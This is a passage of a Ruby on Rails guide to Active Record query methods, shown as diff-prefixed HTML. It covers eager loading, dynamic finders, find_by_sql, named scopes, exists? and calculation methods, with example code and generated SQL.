+<div class="para"><p>The numbers <tt>13</tt> and <tt>14</tt> in the above SQL are the ids of the clients gathered from the <tt>Client.all</tt> query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called <tt>address</tt> or <tt>mailing_address</tt> on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once.</p></div>
+<div class="para"><p>If you wanted to get all the addresses for a client in the same query you would do <tt>Client.all(:joins &#8658; :address)</tt> and you wanted to find the address and mailing address for that client you would do <tt>Client.all(:joins &#8658; [:address, :mailing_address])</tt>. This is more efficient because it does all the SQL in one query, as shown by this example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">+</span>Client <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.000455</span><span style="color: #990000">)</span>   <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> clients<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">INNER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> addresses
+  <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span> addresses<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">INNER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span>
+  mailing_addresses<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id
+</tt></pre></div></div>
+<div class="para"><p>This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>joins <span style="color: #990000">=&gt;</span> “LEFT OUTER JOIN addresses ON
+  client<span style="color: #990000">.</span>id <span style="color: #990000">=</span> addresses<span style="color: #990000">.</span>client_id LEFT OUTER JOIN mailing_addresses ON
+  client<span style="color: #990000">.</span>id <span style="color: #990000">=</span> mailing_addresses<span style="color: #990000">.</span>client_id”<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span>
+  <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at &gt;= ? AND orders.created_at &lt;= ?"</span><span style="color: #990000">,</span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">,</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">])</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_dynamic_finders">13. Dynamic finders</h2>
+<div class="sectionbody">
+<div class="para"><p>For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called <tt>name</tt> on your Client model for example, you get <tt>find_by_name</tt> and <tt>find_all_by_name</tt> for free from Active Record. If you have also have a <tt>locked</tt> field on the client model, you also get <tt>find_by_locked</tt> and <tt>find_all_by_locked</tt>. If you want to find both by name and locked, you can chain these finders together by simply typing <tt>and</tt> between the fields for example <tt>Client.find_by_name_and_locked(<em>Ryan</em>, true)</tt>. These finders are an excellent alternative to using the conditions option, mainly because it's shorter to type <tt>find_by_name(params[:name])</tt> than it is to type <tt>first(:conditions &#8658; ["name = ?", params[:name]])</tt>.</p></div>
+<div class="para"><p>There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like <tt>find_or_create_by_name(params[:name])</tt>. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for <tt>Client.find_or_create_by_name(<em>Ryan</em>)</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(+</span>clients<span style="color: #990000">+.+</span>name<span style="color: #990000">+</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
+BEGIN
+<span style="font-weight: bold"><span style="color: #0000FF">INSERT</span></span> <span style="font-weight: bold"><span style="color: #0000FF">INTO</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="color: #990000">(+</span>name<span style="color: #990000">+,</span> <span style="color: #990000">+</span>updated_at<span style="color: #990000">+,</span> <span style="color: #990000">+</span>created_at<span style="color: #990000">+,</span> <span style="color: #990000">+</span>orders_count<span style="color: #990000">+,</span> <span style="color: #990000">+</span>locked<span style="color: #990000">+)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">VALUES</span></span><span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">)</span>
+COMMIT
+</tt></pre></div></div>
+<div class="para"><p><tt>find_or_create</tt>'s sibling, <tt>find_or_initialize</tt>, will find an object and if it does not exist will call <tt>new</tt> with the parameters you passed in. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find_or_initialize_by_name<span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>will either assign an existing client object with the name <em>Ryan</em> to the client local variable, or initialize new object similar to calling <tt>Client.new(:name &#8658; <em>Ryan</em>)</tt>. From here, you can modify other fields in client by calling the attribute setters on it: <tt>client.locked = true</tt> and when you want to write it to the database just call <tt>save</tt> on it.</p></div>
+</div>
+<h2 id="_finding_by_sql">14. Finding By SQL</h2>
+<div class="sectionbody">
+<div class="para"><p>If you'd like to use your own SQL to find records a table you can use <tt>find_by_sql</tt>. The <tt>find_by_sql</tt> method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>find_by_sql<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p><tt>find_by_sql</tt> provides you with a simple way of making custom calls to the database and retrieving instantiated objects.</p></div>
+</div>
+<h2 id="_tt_select_all_tt">15. <tt>select_all</tt></h2>
+<div class="sectionbody">
+<div class="para"><p><tt>find_by_sql</tt> has a close relative called <tt>connection#select_all</tt>. <tt>select_all</tt> will retrieve objects from the database using custom SQL just like <tt>find_by_sql</tt> but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>connection<span style="color: #990000">.</span>select_all<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM `clients` WHERE `id` = '1'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_working_with_associations">16. Working with Associations</h2>
+<div class="sectionbody">
+<div class="para"><p>When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like <tt>Client.find(params[:id]).orders.find_by_sent_and_received(true, false)</tt>. Having this find method available on associations is extremely helpful when using nested controllers.</p></div>
+</div>
+<h2 id="_named_scopes">17. Named Scopes</h2>
+<div class="sectionbody">
+<div class="para"><p>Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.</p></div>
+<h3 id="_simple_named_scopes">17.1. Simple Named Scopes</h3>
+<div class="para"><p>Suppose want to find all clients who are male. You could use this code:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  named_scope <span style="color: #990000">:</span>males<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Then you could call <tt>Client.males.all</tt> to get all the clients who are male. Please note that if you do not specify the <tt>all</tt> on the end you will get a <tt>Scope</tt> object back, not a set of records which you do get back if you put the <tt>all</tt> on the end.</p></div>
+<div class="para"><p>If you wanted to find all the clients who are active, you could use this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  named_scope <span style="color: #990000">:</span>active<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>active <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can call this new named_scope with <tt>Client.active.all</tt> and this will do the same query as if we just used <tt>Client.all(:conditions &#8658; ["active = ?", true])</tt>. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do <tt>Client.active.first</tt>.</p></div>
+<h3 id="_combining_named_scopes">17.2. Combining Named Scopes</h3>
+<div class="para"><p>If you wanted to find all the clients who are active and male you can stack the named scopes like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all
+</tt></pre></div></div>
+<div class="para"><p>If you would then like to do a <tt>all</tt> on that scope, you can. Just like an association, named scopes allow you to call <tt>all</tt> on them:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"age &gt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>age<span style="color: #990000">]])</span>
+</tt></pre></div></div>
+<h3 id="_runtime_evaluation_of_named_scope_conditions">17.3. Runtime Evaluation of Named Scope Conditions</h3>
+<div class="para"><p>Consider the following code:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>created_at <span style="color: #990000">&gt;</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, <tt>2.weeks.ago</tt> is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.</p></div>
+<h3 id="_named_scopes_with_multiple_models">17.4. Named Scopes with Multiple Models</h3>
+<div class="para"><p>In a named scope you can use <tt>:include</tt> and <tt>:joins</tt> options just like in find.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  named_scope <span style="color: #990000">:</span>active_within_2_weeks<span style="color: #990000">,</span> <span style="color: #990000">:</span>joins <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>order<span style="color: #990000">,</span>
+    lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This method, called as <tt>Client.active_within_2_weeks.all</tt>, will return all clients who have placed orders in the past 2 weeks.</p></div>
+<h3 id="_arguments_to_named_scopes">17.5. Arguments to Named Scopes</h3>
+<div class="para"><p>If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>time<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> time<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will work if you call <tt>Client.recent(2.weeks.ago).all</tt> but not if you call <tt>Client.recent</tt>. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|*</span>args<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> args<span style="color: #990000">.</span>first <span style="color: #990000">||</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will work with <tt>Client.recent(2.weeks.ago).all</tt> and <tt>Client.recent.all</tt>, with the latter always returning records with a created_at date between right now and 2 weeks ago.</p></div>
+<div class="para"><p>Remember that named scopes are stackable, so you will be able to do <tt>Client.recent(2.weeks.ago).unlocked.all</tt> to find all clients created between right now and 2 weeks ago and have their locked field set to false.</p></div>
+<h3 id="_anonymous_scopes">17.6. Anonymous Scopes</h3>
+<div class="para"><p>All Active Record models come with a named scope named <tt>scoped</tt>, which allows you to create anonymous scopes. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>recent
+    scoped <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Anonymous scopes are most useful to create scopes "on the fly":</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>scoped<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.</p></div>
+</div>
+<h2 id="_existence_of_objects">18. Existence of Objects</h2>
+<div class="sectionbody">
+<div class="para"><p>If you simply want to check for the existence of the object there's a method called <tt>exists?</tt>. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>The above code will check for the existence of a clients table record with the id of 1 and return true if it exists.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">)</span>
+<span style="font-style: italic"><span style="color: #9A1900"># or</span></span>
+Client<span style="color: #990000">.</span>exists?<span style="color: #990000">([</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>exists?</tt> method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists.</p></div>
+<div class="para"><p>Further more, <tt>exists</tt> takes a <tt>conditions</tt> option much like find:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_calculations">19. Calculations</h2>
+<div class="sectionbody">
+<div class="para"><p>This section uses count as an example method in this preamble, but the options described apply to all sub-sections.</p></div>
+<div class="para"><p><tt>count</tt> takes conditions much in the same way <tt>exists?</tt> does:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Which will execute:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(*)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>first_name <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>You can also use <tt>include</tt> or <tt>joins</tt> for this to do something a little more complex:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"clients.first_name = 'Ryan' AND orders.status = 'received'"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Which will execute:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">DISTINCT</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+.</span>id<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">LEFT</span></span> <span style="font-weight: bold"><span style="color: #0000FF">OUTER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> <span style="color: #990000">+</span>orders<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span> orders<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span>
+  <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>first_name <span style="color: #990000">=</span> <span style="color: #FF0000">'name'</span> <span style="font-weight: bold"><span style="color: #0000FF">AND</span></span> orders<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">status</span></span> <span style="color: #990000">=</span> <span style="color: #FF0000">'received'</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>This code specifies <tt>clients.first_name</tt> just in case one of the join tables has a field also called <tt>first_name</tt> and it uses <tt>orders.status</tt> because that's the name of our join table.</p></div>
+<h3 id="_count">19.1. Count</h3>
+<div class="para"><p>If you want to see how many records are in your model's table you could call <tt>Client.count</tt> and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use <tt>Client.count(:age)</tt>.</p></div>
+<div class="para"><p>For options, please see the parent section, Calculations.</p></div>
+<h3 id="_average">19.2. Average</h3>
+<div class="para"><p>If you want to see the average of a certain number in one of your tables you can call the <tt>average</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>average<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.</p></div>
+<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
+<h3 id="_minimum">19.3. Minimum</h3>
+<div class="para"><p>If you want to find the minimum value of a field in your table you can call the <tt>minimum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>minimum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
+<h3 id="_maximum">19.4. Maximum</h3>
+<div class="para"><p>If you want to find the maximum value of a field in your table you can call the <tt>maximum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>maximum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
+<h3 id="_sum">19.5. Sum</h3>
+<div class="para"><p>If you want to find the sum of a field for all records in your table you can call the <tt>sum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
